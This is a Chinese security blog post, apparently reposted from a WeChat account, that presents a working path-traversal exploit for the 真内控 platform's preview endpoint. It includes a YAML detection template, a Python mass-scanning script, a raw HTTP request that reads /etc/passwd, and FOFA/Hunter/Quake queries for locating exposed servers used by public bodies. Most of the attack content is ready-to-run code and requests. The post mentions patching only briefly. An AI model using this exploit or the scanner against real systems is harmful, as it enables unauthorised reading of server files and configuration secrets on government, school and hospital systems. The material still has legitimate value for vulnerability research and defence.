POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: Znk-preview-fileread
info:
name: 真内控国产化开发平台 preview 任意文件读取
author: god
severity: high
description: 真内控国产化开发平台 preview 任意文件读取
metadata:
fofa-query: body="js/npm.echarts.js"
tags: znk,fileread
http:
- raw:
- |+
@timeout: 30s
GET /print/billPdf/preview?urlPath=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body
words:
- root
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/print/billPdf/preview?urlPath=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
response = requests.get(attack_url, verify=False, timeout=10)
if response.status_code == 200 and 'root' in response.text:
print(f"{RED}URL [{url}] 可能存在真内控国产化开发平台 preview 任意文件读取漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在真内控国产化开发平台 preview 任意文件读取漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
真内控国产化平台是基于国产可控技术开发的内部控制管理咨询及信息化服务平台。该平台涵盖了预算绩效、支出管理、采购管理、合同管理、资产管理、基建项目管理等多个模块,为公共部门(包括政府部门、科研机构、学校、医院等)提供全方位的经济活动内部控制解决方案。其preview接口存在任意文件读取漏洞,未授权攻击者可以利用其读取f服务器、网站配置文件等敏感信息。
❞
资产测绘
-
「Fofa」
❝
body="js/npm.echarts.js"
❞
-
「Hunter」
❝
web.body="js/npm.echarts.js"
❞
-
「Quake」
❝
body="js/npm.echarts.js"
❞
漏洞复现
「1、构造数据包」
GET /print/billPdf/preview?urlPath=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
「2、查看返回包」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】真内控国产化开发平台 preview 任意文件读取
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